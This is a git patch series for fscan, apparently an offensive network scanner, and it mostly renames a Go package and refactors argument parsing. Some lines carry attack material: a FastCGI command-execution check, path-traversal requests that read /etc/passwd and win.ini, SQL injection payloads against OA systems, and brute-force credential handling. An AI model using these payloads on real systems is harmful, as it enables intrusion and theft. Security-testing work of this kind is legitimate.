Common.WrapperTcpWithTimeout("tcp", host, time.Duration(Timeout)*time.Second) if err != nil { return } @@ -242,7 +242,7 @@ func GetProtocol(host string, Timeout int64) (protocol string) { if conn != nil { defer func() { if err := recover(); err != nil { - common.LogError(err) + Common.LogError(err) } }() conn.Close() diff --git a/Plugins/fcgiscan.go b/Plugins/fcgiscan.go index a14776c..ba7b696 100644 --- a/Plugins/fcgiscan.go +++ b/Plugins/fcgiscan.go @@ -6,8 +6,8 @@ import ( "encoding/binary" "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "io" "strconv" "strings" @@ -22,14 +22,14 @@ import ( // FcgiScan 执行FastCGI服务器漏洞扫描 func FcgiScan(info *Config.HostInfo) error { // 如果设置了暴力破解模式则跳过 - if common.IsBrute { + if Common.IsBrute { return nil } // 设置目标URL路径 url := "/etc/issue" - if common.Path != "" { - url = common.Path + if Common.Path != "" { + url = Common.Path } addr := fmt.Sprintf("%v:%v", info.Host, info.Ports) @@ -38,10 +38,10 @@ func FcgiScan(info *Config.HostInfo) error { var cutLine = "-----ASDGTasdkk361363s-----\n" // 用于分割命令输出的标记 switch { - case common.Command == "read": + case Common.Command == "read": reqParams = "" // 读取模式 - case common.Command != "": - reqParams = fmt.Sprintf("", common.Command, cutLine) // 自定义命令 + case Common.Command != "": + reqParams = fmt.Sprintf("", Common.Command, cutLine) // 自定义命令 default: reqParams = fmt.Sprintf("", cutLine) // 默认执行whoami } @@ -65,7 +65,7 @@ func FcgiScan(info *Config.HostInfo) error { } // 建立FastCGI连接 - fcgi, err := New(addr, common.Timeout) + fcgi, err := New(addr, Common.Timeout) defer func() { if fcgi.rwc != nil { fcgi.rwc.Close() @@ -97,7 +97,7 @@ func FcgiScan(info *Config.HostInfo) error { result = fmt.Sprintf("[+] FastCGI漏洞确认 %v:%v\n命令输出:\n%v", info.Host, info.Ports, output) } - common.LogSuccess(result) + Common.LogSuccess(result) } else if strings.Contains(output, "File not found") || strings.Contains(output, "Content-type") || strings.Contains(output, "Status") { @@ -109,7 +109,7 @@ func FcgiScan(info *Config.HostInfo) error { result = fmt.Sprintf("[*] FastCGI服务确认 %v:%v\n响应:\n%v", info.Host, info.Ports, output) } - common.LogSuccess(result) + Common.LogSuccess(result) } return nil @@ -187,7 +187,7 @@ type FCGIClient struct { } func New(addr string, timeout int64) (fcgi *FCGIClient, err error) { - conn, err := common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", addr, time.Duration(timeout)*time.Second) fcgi = &FCGIClient{ rwc: conn, keepAlive: false, diff --git a/WebScan/InfoScan.go b/WebScan/InfoScan.go index 5dcc449..0a6dc18 100644 --- a/WebScan/InfoScan.go +++ b/WebScan/InfoScan.go @@ -3,8 +3,8 @@ package WebScan import ( "crypto/md5" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "regexp" ) @@ -39,7 +39,7 @@ func InfoCheck(Url string, CheckData *[]CheckDatas) []string { if len(infoname) > 0 { result := fmt.Sprintf("[+] InfoScan %-25v %s ", Url, infoname) - common.LogSuccess(result) + Common.LogSuccess(result) return infoname } return []string{""} diff --git a/WebScan/WebScan.go b/WebScan/WebScan.go index a2e3ca3..15025bb 100644 --- a/WebScan/WebScan.go +++ b/WebScan/WebScan.go @@ -3,9 +3,9 @@ package WebScan import ( "embed" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/WebScan/lib" - "github.com/shadow1ng/fscan/common" "net/http" "os" "path/filepath" @@ -20,7 +20,7 @@ var AllPocs []*lib.Poc func WebScan(info *Config.HostInfo) { once.Do(initpoc) - var pocinfo = common.Pocinfo + var pocinfo = Common.Pocinfo buf := strings.Split(info.Url, "/") pocinfo.Target = strings.Join(buf[:3], "/") @@ -34,25 +34,25 @@ func WebScan(info *Config.HostInfo) { } } -func Execute(PocInfo common.PocInfo) { +func Execute(PocInfo Common.PocInfo) { req, err := http.NewRequest("GET", PocInfo.Target, nil) if err != nil { errlog := fmt.Sprintf("[-] webpocinit %v %v", PocInfo.Target, err) - common.LogError(errlog) + Common.LogError(errlog) return } - req.Header.Set("User-agent", common.UserAgent) - req.Header.Set("Accept", common.Accept) + req.Header.Set("User-agent", Common.UserAgent) + req.Header.Set("Accept", Common.Accept) req.Header.Set("Accept-Language", "zh-CN,zh;q=0.9") - if common.Cookie != "" { - req.Header.Set("Cookie", common.Cookie) + if Common.Cookie != "" { + req.Header.Set("Cookie", Common.Cookie) } pocs := filterPoc(PocInfo.PocName) - lib.CheckMultiPoc(req, pocs, common.PocNum) + lib.CheckMultiPoc(req, pocs, Common.PocNum) } func initpoc() { - if common.PocPath == "" { + if Common.PocPath == "" { entries, err := Pocs.ReadDir("pocs") if err != nil { fmt.Printf("[-] init poc error: %v", err) @@ -67,8 +67,8 @@ func initpoc() { } } } else { - fmt.Println("[+] load poc from " + common.PocPath) - err := filepath.Walk(common.PocPath, + fmt.Println("[+] load poc from " + Common.PocPath) + err := filepath.Walk(Common.PocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil { return err diff --git a/WebScan/info/rules.go b/WebScan/info/Rules.go similarity index 98% rename from WebScan/info/rules.go rename to WebScan/info/Rules.go index e7184db..d4d1dd5 100644 --- a/WebScan/info/rules.go +++ b/WebScan/info/Rules.go @@ -72,7 +72,7 @@ var RuleDatas = []RuleData{ {"atmail-WebMail", "cookie", "(atmail6)"}, {"atmail-WebMail", "code", "(/index.php/mail/auth/processlogin|Powered by Atmail)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1)"}, - {"致远OA", "code", "(/seeyon/common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, + {"致远OA", "code", "(/seeyon/Common/|/seeyon/USER-DATA/IMAGES/LOGIN/login.gif)"}, {"discuz", "code", "(content=\"Discuz! X\")"}, {"Typecho", "code", "(Typecho)"}, {"金蝶EAS", "code", "(easSessionId)"}, @@ -88,10 +88,10 @@ var RuleDatas = []RuleData{ {"CISCO_EPC3925", "code", "(Docsis_system)"}, {"CISCO ASR", "code", "(CISCO ASR)"}, {"H3C ER3200", "code", "(ER3200系统管理)"}, - {"万户oa", "code", "(/defaultroot/templates/template_system/common/css/|/defaultroot/scripts/|css/css_whir.css)"}, + {"万户oa", "code", "(/defaultroot/templates/template_system/Common/css/|/defaultroot/scripts/|css/css_whir.css)"}, {"Spark_Master", "code", "(Spark Master at)"}, {"华为_HUAWEI_SRG2220", "code", "(HUAWEI SRG2220)"}, - {"蓝凌OA", "code", "(/scripts/jquery.landray.common.js)"}, + {"蓝凌OA", "code", "(/scripts/jquery.landray.Common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp)"}, {"华为 NetOpen", "code", "(/netopen/theme/css/inFrame.css)"}, {"Citrix-Web-PN-Server", "code", "(Citrix Web PN Server)"}, @@ -229,14 +229,14 @@ var RuleDatas = []RuleData{ {"帕拉迪统一安全管理和综合审计系统", "code", "(module/image/pldsec.css)"}, {"蓝盾BDWebGuard", "code", "(BACKGROUND: url(images/loginbg.jpg) #e5f1fc)"}, {"Huawei SMC", "code", "(Script/SmcScript.js?version=)"}, - {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/common)"}, + {"coremail", "code", "(/coremail/bundle/|contextRoot: \"/coremail\"|coremail/Common)"}, {"activemq", "code", "(activemq_logo|Manage ActiveMQ broker)"}, {"锐捷网络", "code", "(static/img/title.ico|support.ruijie.com.cn|Ruijie - NBR|eg.login.loginBtn)"}, {"禅道", "code", "(/theme/default/images/main/zt-logo.png|zentaosid)"}, {"weblogic", "code", "(/console/framework/skins/wlsconsole/images/login_WebLogic_branding.png|Welcome to Weblogic Application Server|Hypertext Transfer Protocol -- HTTP/1.1|Error 404--Not Found|Welcome to Weblogic Application Server|Oracle WebLogic Server 管理控制台)"}, {"weblogic", "headers", "(WebLogic)"}, - {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/common/)"}, - {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.common.js)"}, + {"致远OA", "code", "(/seeyon/USER-DATA/IMAGES/LOGIN/login.gif|/seeyon/Common/)"}, + {"蓝凌EIS智慧协同平台", "code", "(/scripts/jquery.landray.Common.js)"}, {"深信服ssl-vpn", "code", "(login_psw.csp|loginPageSP/loginPrivacy.js|/por/login_psw.csp)"}, {"Struts2", "code", "(org.apache.struts2|Struts Problem Report|struts.devMode|struts-tags|There is no Action mapped for namespace)"}, {"泛微OA", "code", "(/spa/portal/public/index.js|wui/theme/ecology8/page/images/login/username_wev8.png|/wui/index.html#/?logintype=1)"}, @@ -246,7 +246,7 @@ var RuleDatas = []RuleData{ {"用友NC", "code", "(Yonyou UAP|YONYOU NC|/Client/Uclient/UClient.dmg|logo/images/ufida_nc.png|iufo/web/css/menu.css|/System/Login/Login.asp?AppID=|/nc/servlet/nc.ui.iufo.login.Index)"}, {"用友IUFO", "code", "(iufo/web/css/menu.css)"}, {"TELEPORT堡垒机", "code", "(/static/plugins/blur/background-blur.js)"}, - {"JEECMS", "code", "(/r/cms/www/red/js/common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, + {"JEECMS", "code", "(/r/cms/www/red/js/Common.js|/r/cms/www/red/js/indexshow.js|Powered by JEECMS|JEECMS|/jeeadmin/jeecms/index.do)"}, {"CMS", "code", "(Powered by .*CMS)"}, {"目录遍历", "code", "(Directory listing for /)"}, {"ATLASSIAN-Confluence", "code", "(com.atlassian.confluence)"}, diff --git a/WebScan/lib/check.go b/WebScan/lib/Check.go similarity index 97% rename from WebScan/lib/check.go rename to WebScan/lib/Check.go index 7dec98d..be706a4 100644 --- a/WebScan/lib/check.go +++ b/WebScan/lib/Check.go @@ -4,8 +4,8 @@ import ( "crypto/md5" "fmt" "github.com/google/cel-go/cel" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/WebScan/info" - "github.com/shadow1ng/fscan/common" "math/rand" "net/http" "net/url" @@ -34,7 +34,7 @@ func CheckMultiPoc(req *http.Request, pocs []*Poc, workers int) { isVul, _, name := executePoc(task.Req, task.Poc) if isVul { result := fmt.Sprintf("[+] PocScan %s %s %s", task.Req.URL, task.Poc.Name, name) - common.LogSuccess(result) + Common.LogSuccess(result) } wg.Done() } @@ -82,7 +82,7 @@ func executePoc(oReq *http.Request, p *Poc) (bool, error, string) { for _, item := range p.Set { k, expression := item.Key, item.Value if expression == "newReverse()" { - if !common.DnsLog { + if !Common.DnsLog { return false, nil, "" } variableMap[k] = newReverse() @@ -240,7 +240,7 @@ func optimizeCookies(rawCookie string) (output string) { } func newReverse() *Reverse { - if !common.DnsLog { + if !Common.DnsLog { return &Reverse{} } letters := "1234567890abcdefghijklmnopqrstuvwxyz" @@ -280,7 +280,7 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, look: for j, item := range setsMap { //shiro默认只跑10key - if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 { + if p.Name == "poc-yaml-shiro-key" && !Common.PocFull && j >= 10 { if item[1] == "cbc" { continue } else { @@ -356,15 +356,15 @@ func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, if success { if rule.Continue { if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name)) } else { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap)) } continue } strMap = append(strMap, tmpMap...) if i == len(p.Rules)-1 { - common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) + Common.LogSuccess(fmt.Sprintf("[+] PocScan %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap)) //防止后续继续打印poc成功信息 return false, nil } diff --git a/WebScan/lib/client.go b/WebScan/lib/Client.go similarity index 94% rename from WebScan/lib/client.go rename to WebScan/lib/Client.go index cbc5754..66b48ad 100644 --- a/WebScan/lib/client.go +++ b/WebScan/lib/Client.go @@ -6,7 +6,7 @@ import ( "embed" "errors" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "golang.org/x/net/proxy" "gopkg.in/yaml.v2" "net" @@ -25,14 +25,14 @@ var ( ) func Inithttp() { - //common.Proxy = "http://127.0.0.1:8080" - if common.PocNum == 0 { - common.PocNum = 20 + //Common.Proxy = "http://127.0.0.1:8080" + if Common.PocNum == 0 { + Common.PocNum = 20 } - if common.WebTimeout == 0 { - common.WebTimeout = 5 + if Common.WebTimeout == 0 { + Common.WebTimeout = 5 } - err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second) + err := InitHttpClient(Common.PocNum, Common.Proxy, time.Duration(Common.WebTimeout)*time.Second) if err != nil { panic(err) } @@ -56,8 +56,8 @@ func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) err DisableKeepAlives: false, } - if common.Socks5Proxy != "" { - dialSocksProxy, err := common.Socks5Dailer(dialer) + if Common.Socks5Proxy != "" { + dialSocksProxy, err := Common.Socks5Dailer(dialer) if err != nil { return err } diff --git a/WebScan/lib/eval.go b/WebScan/lib/Eval.go similarity index 99% rename from WebScan/lib/eval.go rename to WebScan/lib/Eval.go index 0f652e1..0143277 100644 --- a/WebScan/lib/eval.go +++ b/WebScan/lib/Eval.go @@ -12,7 +12,7 @@ import ( "github.com/google/cel-go/common/types" "github.com/google/cel-go/common/types/ref" "github.com/google/cel-go/interpreter/functions" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1" "io" "math/rand" @@ -563,7 +563,7 @@ func randomString(n int) string { } func reverseCheck(r *Reverse, timeout int64) bool { - if ceyeApi == "" || r.Domain == "" || !common.DnsLog { + if ceyeApi == "" || r.Domain == "" || !Common.DnsLog { return false } time.Sleep(time.Second * time.Duration(timeout)) @@ -627,7 +627,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { defer oResp.Body.Close() resp, err := ParseResponse(oResp) if err != nil { - common.LogError("[-] ParseResponse error: " + err.Error()) + Common.LogError("[-] ParseResponse error: " + err.Error()) //return nil, err } return resp, err diff --git a/WebScan/lib/shiro.go b/WebScan/lib/Shiro.go similarity index 100% rename from WebScan/lib/shiro.go rename to WebScan/lib/Shiro.go diff --git a/WebScan/pocs/ruoyi-management-fileread.yml b/WebScan/pocs/ruoyi-management-fileread.yml index 6debdd1..547f5b8 100644 --- a/WebScan/pocs/ruoyi-management-fileread.yml +++ b/WebScan/pocs/ruoyi-management-fileread.yml @@ -2,12 +2,12 @@ name: poc-yaml-ruoyi-management-fileread groups: linux: - method: GET - path: /common/download/resource?resource=/profile/../../../../etc/passwd + path: /Common/download/resource?resource=/profile/../../../../etc/passwd expression: | response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) windows: - method: GET - path: /common/download/resource?resource=/profile/../../../../Windows/win.ini + path: /Common/download/resource?resource=/profile/../../../../Windows/win.ini expression: | response.status == 200 && response.body.bcontains(b"for 16-bit app support") detail: diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml index c104494..a5e467a 100644 --- a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml +++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 210000000) rules: - method: GET - path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) expression: response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) detail: diff --git a/WebScan/pocs/yonyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml index 9933b52..324cdd3 100644 --- a/WebScan/pocs/yonyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -3,7 +3,7 @@ set: rand: randomInt(200000000, 220000000) rules: - method: GET - path: /yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) + path: /yyoa/Common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5({{rand}})) follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) diff --git a/common/config.go b/common/config.go index 4bc2e69..6dd46ae 100644 --- a/common/config.go +++ b/common/config.go @@ -1,4 +1,4 @@ -package common +package Common var version = "1.8.4" var Userdict = map[string][]string{ diff --git a/common/flag.go b/common/flag.go index 972903d..d941ff0 100644 --- a/common/flag.go +++ b/common/flag.go @@ -1,4 +1,4 @@ -package common +package Common import ( "flag" diff --git a/common/log.go b/common/log.go index 7f48f51..78db646 100644 --- a/common/log.go +++ b/common/log.go @@ -1,4 +1,4 @@ -package common +package Common import ( "encoding/json" diff --git a/common/proxy.go b/common/proxy.go index 780c9d0..69a27e5 100644 --- a/common/proxy.go +++ b/common/proxy.go @@ -1,4 +1,4 @@ -package common +package Common import ( "errors" diff --git a/main.go b/main.go index 680866d..b4bc409 100644 --- a/main.go +++ b/main.go @@ -2,17 +2,17 @@ package main import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" "github.com/shadow1ng/fscan/Plugins" - "github.com/shadow1ng/fscan/common" "time" ) func main() { start := time.Now() var Info Config.HostInfo - common.Flag(&Info) - common.Parse(&Info) + Common.Flag(&Info) + Common.Parse(&Info) Plugins.Scan(Info) fmt.Printf("[*] 扫描结束,耗时: %s\n", time.Since(start)) } From 0eeda0879d5aac4cf0614001f8cac57a913bda96 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:06:38 +0800 Subject: [PATCH 011/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96Parse.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/Parse.go | 300 +++++++++++++++++++++++++++++++----------------- 1 file changed, 192 insertions(+), 108 deletions(-) diff --git a/Common/Parse.go b/Common/Parse.go index 127e19a..114a3df 100644 --- a/Common/Parse.go +++ b/Common/Parse.go @@ -19,143 +19,211 @@ func Parse(Info *Config.HostInfo) { ParseScantype(Info) } -func ParseUser() { +// ParseUser 解析用户名配置,支持直接指定用户名列表或从文件读取 +func ParseUser() error { + // 如果未指定用户名和用户名文件,直接返回 if Username == "" && Userfile == "" { - return - } - var Usernames []string - if Username != "" { - Usernames = strings.Split(Username, ",") + return nil } + var usernames []string + + // 处理直接指定的用户名列表 + if Username != "" { + usernames = strings.Split(Username, ",") + fmt.Printf("[*] 已加载直接指定的用户名: %d 个\n", len(usernames)) + } + + // 从文件加载用户名列表 if Userfile != "" { users, err := Readfile(Userfile) - if err == nil { - for _, user := range users { - if user != "" { - Usernames = append(Usernames, user) - } + if err != nil { + return fmt.Errorf("读取用户名文件失败: %v", err) + } + + // 过滤空用户名 + for _, user := range users { + if user != "" { + usernames = append(usernames, user) } } + fmt.Printf("[*] 已从文件加载用户名: %d 个\n", len(users)) } - Usernames = RemoveDuplicate(Usernames) + // 去重处理 + usernames = RemoveDuplicate(usernames) + fmt.Printf("[*] 去重后用户名总数: %d 个\n", len(usernames)) + + // 更新用户字典 for name := range Userdict { - Userdict[name] = Usernames + Userdict[name] = usernames } + + return nil } -func ParsePass(Info *Config.HostInfo) { - var PwdList []string +// ParsePass 解析密码、哈希值、URL和端口配置 +func ParsePass(Info *Config.HostInfo) error { + // 处理直接指定的密码列表 + var pwdList []string if Password != "" { - passs := strings.Split(Password, ",") - for _, pass := range passs { + passes := strings.Split(Password, ",") + for _, pass := range passes { if pass != "" { - PwdList = append(PwdList, pass) + pwdList = append(pwdList, pass) } } - Passwords = PwdList + Passwords = pwdList + fmt.Printf("[*] 已加载直接指定的密码: %d 个\n", len(pwdList)) } + + // 从文件加载密码列表 if Passfile != "" { - passs, err := Readfile(Passfile) - if err == nil { - for _, pass := range passs { - if pass != "" { - PwdList = append(PwdList, pass) - } - } - Passwords = PwdList + passes, err := Readfile(Passfile) + if err != nil { + return fmt.Errorf("读取密码文件失败: %v", err) } + for _, pass := range passes { + if pass != "" { + pwdList = append(pwdList, pass) + } + } + Passwords = pwdList + fmt.Printf("[*] 已从文件加载密码: %d 个\n", len(passes)) } + + // 处理哈希文件 if Hashfile != "" { - hashs, err := Readfile(Hashfile) - if err == nil { - for _, line := range hashs { - if line == "" { - continue - } - if len(line) == 32 { - Hashs = append(Hashs, line) - } else { - fmt.Println("[-] len(hash) != 32 " + line) - } + hashes, err := Readfile(Hashfile) + if err != nil { + return fmt.Errorf("读取哈希文件失败: %v", err) + } + + validCount := 0 + for _, line := range hashes { + if line == "" { + continue + } + if len(line) == 32 { + Hashs = append(Hashs, line) + validCount++ + } else { + fmt.Printf("[!] 无效的哈希值(长度!=32): %s\n", line) } } + fmt.Printf("[*] 已加载有效哈希值: %d 个\n", validCount) } + + // 处理直接指定的URL列表 if URL != "" { urls := strings.Split(URL, ",") - TmpUrls := make(map[string]struct{}) + tmpUrls := make(map[string]struct{}) for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} Urls = append(Urls, url) } } } + fmt.Printf("[*] 已加载直接指定的URL: %d 个\n", len(Urls)) } + + // 从文件加载URL列表 if UrlFile != "" { urls, err := Readfile(UrlFile) - if err == nil { - TmpUrls := make(map[string]struct{}) - for _, url := range urls { - if _, ok := TmpUrls[url]; !ok { - TmpUrls[url] = struct{}{} - if url != "" { - Urls = append(Urls, url) - } + if err != nil { + return fmt.Errorf("读取URL文件失败: %v", err) + } + + tmpUrls := make(map[string]struct{}) + for _, url := range urls { + if url != "" { + if _, ok := tmpUrls[url]; !ok { + tmpUrls[url] = struct{}{} + Urls = append(Urls, url) } } } + fmt.Printf("[*] 已从文件加载URL: %d 个\n", len(urls)) } + + // 从文件加载端口列表 if PortFile != "" { ports, err := Readfile(PortFile) - if err == nil { - newport := "" - for _, port := range ports { - if port != "" { - newport += port + "," - } - } - Ports = newport + if err != nil { + return fmt.Errorf("读取端口文件失败: %v", err) } + + var newport strings.Builder + for _, port := range ports { + if port != "" { + newport.WriteString(port) + newport.WriteString(",") + } + } + Ports = newport.String() + fmt.Printf("[*] 已从文件加载端口配置\n") } + + return nil } +// Readfile 读取文件内容并返回非空行的切片 func Readfile(filename string) ([]string, error) { + // 打开文件 file, err := os.Open(filename) if err != nil { - fmt.Printf("Open %s error, %v\n", filename, err) - os.Exit(0) + fmt.Printf("[!] 打开文件 %s 失败: %v\n", filename, err) + return nil, err } defer file.Close() + var content []string scanner := bufio.NewScanner(file) scanner.Split(bufio.ScanLines) + + // 逐行读取文件内容 + lineCount := 0 for scanner.Scan() { text := strings.TrimSpace(scanner.Text()) if text != "" { - content = append(content, scanner.Text()) + content = append(content, text) + lineCount++ } } + + // 检查扫描过程中是否有错误 + if err := scanner.Err(); err != nil { + fmt.Printf("[!] 读取文件 %s 时出错: %v\n", filename, err) + return nil, err + } + + fmt.Printf("[*] 成功读取文件 %s: %d 行\n", filename, lineCount) return content, nil } -func ParseInput(Info *Config.HostInfo) { +// ParseInput 解析和验证输入参数配置 +func ParseInput(Info *Config.HostInfo) error { + // 检查必要的目标参数 if Info.Host == "" && HostFile == "" && URL == "" && UrlFile == "" { - fmt.Println("Host is none") + fmt.Println("[!] 未指定扫描目标") flag.Usage() - os.Exit(0) + return fmt.Errorf("必须指定扫描目标") } + // 配置基本参数 if BruteThread <= 0 { BruteThread = 1 + fmt.Printf("[*] 已将暴力破解线程数设置为: %d\n", BruteThread) } - if TmpSave == true { + if TmpSave { IsSave = false + fmt.Println("[*] 已启用临时保存模式") } + // 处理端口配置 if Ports == DefaultPorts { Ports += "," + Webport } @@ -166,74 +234,90 @@ func ParseInput(Info *Config.HostInfo) { } else { Ports += "," + PortAdd } + fmt.Printf("[*] 已添加额外端口: %s\n", PortAdd) } + // 处理用户名配置 if UserAdd != "" { - user := strings.Split(UserAdd, ",") - for a := range Userdict { - Userdict[a] = append(Userdict[a], user...) - Userdict[a] = RemoveDuplicate(Userdict[a]) + users := strings.Split(UserAdd, ",") + for dict := range Userdict { + Userdict[dict] = append(Userdict[dict], users...) + Userdict[dict] = RemoveDuplicate(Userdict[dict]) } + fmt.Printf("[*] 已添加额外用户名: %s\n", UserAdd) } + // 处理密码配置 if PassAdd != "" { - pass := strings.Split(PassAdd, ",") - Passwords = append(Passwords, pass...) + passes := strings.Split(PassAdd, ",") + Passwords = append(Passwords, passes...) Passwords = RemoveDuplicate(Passwords) + fmt.Printf("[*] 已添加额外密码: %s\n", PassAdd) } - if Socks5Proxy != "" && !strings.HasPrefix(Socks5Proxy, "socks5://") { - if !strings.Contains(Socks5Proxy, ":") { - Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy - } else { - Socks5Proxy = "socks5://" + Socks5Proxy - } - } + + // 处理Socks5代理配置 if Socks5Proxy != "" { - fmt.Println("Socks5Proxy:", Socks5Proxy) + if !strings.HasPrefix(Socks5Proxy, "socks5://") { + if !strings.Contains(Socks5Proxy, ":") { + Socks5Proxy = "socks5://127.0.0.1" + Socks5Proxy + } else { + Socks5Proxy = "socks5://" + Socks5Proxy + } + } + _, err := url.Parse(Socks5Proxy) if err != nil { - fmt.Println("Socks5Proxy parse error:", err) - os.Exit(0) + return fmt.Errorf("Socks5代理格式错误: %v", err) } NoPing = true - } - if Proxy != "" { - if Proxy == "1" { - Proxy = "http://127.0.0.1:8080" - } else if Proxy == "2" { - Proxy = "socks5://127.0.0.1:1080" - } else if !strings.Contains(Proxy, "://") { - Proxy = "http://127.0.0.1:" + Proxy - } - fmt.Println("Proxy:", Proxy) - if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { - fmt.Println("no support this proxy") - os.Exit(0) - } - _, err := url.Parse(Proxy) - if err != nil { - fmt.Println("Proxy parse error:", err) - os.Exit(0) - } + fmt.Printf("[*] 使用Socks5代理: %s\n", Socks5Proxy) } - if Hash != "" && len(Hash) != 32 { - fmt.Println("[-] Hash is error,len(hash) must be 32") - os.Exit(0) - } else { + // 处理HTTP代理配置 + if Proxy != "" { + switch Proxy { + case "1": + Proxy = "http://127.0.0.1:8080" + case "2": + Proxy = "socks5://127.0.0.1:1080" + default: + if !strings.Contains(Proxy, "://") { + Proxy = "http://127.0.0.1:" + Proxy + } + } + + if !strings.HasPrefix(Proxy, "socks") && !strings.HasPrefix(Proxy, "http") { + return fmt.Errorf("不支持的代理类型") + } + + _, err := url.Parse(Proxy) + if err != nil { + return fmt.Errorf("代理格式错误: %v", err) + } + fmt.Printf("[*] 使用代理: %s\n", Proxy) + } + + // 处理Hash配置 + if Hash != "" { + if len(Hash) != 32 { + return fmt.Errorf("Hash长度必须为32位") + } Hashs = append(Hashs, Hash) } + + // 处理Hash列表 Hashs = RemoveDuplicate(Hashs) for _, hash := range Hashs { - hashbyte, err := hex.DecodeString(Hash) + hashByte, err := hex.DecodeString(hash) if err != nil { - fmt.Println("[-] Hash is error,hex decode error ", hash) + fmt.Printf("[!] Hash解码失败: %s\n", hash) continue - } else { - HashBytes = append(HashBytes, hashbyte) } + HashBytes = append(HashBytes, hashByte) } Hashs = []string{} + + return nil } // ParseScantype 解析扫描类型并设置对应的端口 From 56c4453c7fde8948d6c71f017ca6aea8b21a5e54 Mon Sep 17 00:00:00 2001 From: ZacharyZcR <2903735704@qq.com> Date: Wed, 18 Dec 2024 22:17:08 +0800 Subject: [PATCH 012/188] =?UTF-8?q?perf:=20=E4=BC=98=E5=8C=96ParseIP.go?= =?UTF-8?q?=E7=9A=84=E4=BB=A3=E7=A0=81=EF=BC=8C=E6=B7=BB=E5=8A=A0=E6=B3=A8?= =?UTF-8?q?=E9=87=8A=EF=BC=8C=E8=A7=84=E8=8C=83=E8=BE=93=E5=87=BA?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Common/ParseIP.go | 338 ++++++++++++++++++++++++++++++---------------- 1 file changed, 222 insertions(+), 116 deletions(-) diff --git a/Common/ParseIP.go b/Common/ParseIP.go index 316b319..8d2c4df 100644 --- a/Common/ParseIP.go +++ b/Common/ParseIP.go @@ -13,62 +13,79 @@ import ( "strings" ) -var ParseIPErr = errors.New(" host parsing error\n" + - "format: \n" + - 